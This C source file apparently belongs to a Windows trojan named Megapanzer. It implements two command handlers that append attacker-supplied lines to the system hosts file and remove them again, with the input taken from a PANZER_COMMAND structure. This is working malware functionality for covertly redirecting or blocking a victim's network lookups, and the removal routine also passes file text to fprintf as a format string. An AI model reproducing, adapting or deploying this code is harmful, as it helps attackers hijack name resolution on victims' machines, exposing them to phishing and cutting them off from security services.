#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>
#include "Megapanzer_Definitions.h"




DWORD WINAPI addHostsEntry(PVOID pParameter)
{
  int lRetVal = 0;
  int lFuncRetVal = 0;
  char lTemp[MAX_BUF_SIZE + 1];
  char lTemp2[MAX_BUF_SIZE + 1];
  char *lTempPointer = NULL;
  DWORD dwWritten = 0;
  HANDLE lFileHandle = INVALID_HANDLE_VALUE;
  PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;


  if (lCommandStructure->sCommandString != NULL)
  {
    ZeroMemory(lTemp, sizeof(lTemp));
	snprintf(lTemp, sizeof(lTemp) - 1, "\r\n%s", lCommandStructure->sCommandString);

    if ((lFileHandle = CreateFile(HOSTS_FILE, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE)
    {
      SetFilePointer(lFileHandle,0,0,FILE_END); 
      WriteFile(lFileHandle, lTemp, strlen(lTemp), &dwWritten, NULL);
      CloseHandle(lFileHandle);
    }
  }

  return(lRetVal);
}





DWORD WINAPI removeHostsEntry(PVOID pParameter)
{
  int lRetVal = 1;
  int lFuncRetVal = 0;
  char lTemp[MAX_BUF_SIZE + 1];
  char lReadBuffer[MAX_BUF_SIZE + 1];
  PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;
  FILE *lFileOldHostsHandle = NULL;
  FILE *lFileNewHostsHandle = NULL;

  if (lCommandStructure != NULL && lCommandStructure->sCommandString != NULL)
  {
    if ((lFileOldHostsHandle = fopen(HOSTS_FILE, "r")) != NULL)
    {
      ZeroMemory(lTemp, sizeof(lTemp));
      snprintf(lTemp, sizeof(lTemp) - 1, "%s.tmp", HOSTS_FILE);

      if ((lFileNewHostsHandle = fopen(lTemp, "w")) != NULL)
      {
        while (!feof(lFileOldHostsHandle))
        {
          ZeroMemory(lReadBuffer, sizeof(lReadBuffer));

          if (fgets(lReadBuffer, sizeof(lReadBuffer) - 1, lFileOldHostsHandle) > 0)
	    {
            if (strstr(lReadBuffer, lCommandStructure->sCommandString) == NULL)
              fprintf(lFileNewHostsHandle, lReadBuffer);
            else
              lRetVal = 0;
          }
        }
        fclose(lFileNewHostsHandle);
      }
      fclose(lFileOldHostsHandle);
    }
  }


END:

  if (lRetVal == 0)
  {
    ZeroMemory(lTemp, sizeof(lTemp));
    snprintf(lTemp, sizeof(lTemp) - 1, "%s.tmp", HOSTS_FILE);
    DeleteFile(HOSTS_FILE);
    MoveFile(lTemp, HOSTS_FILE);
  }

  return(lRetVal);
}

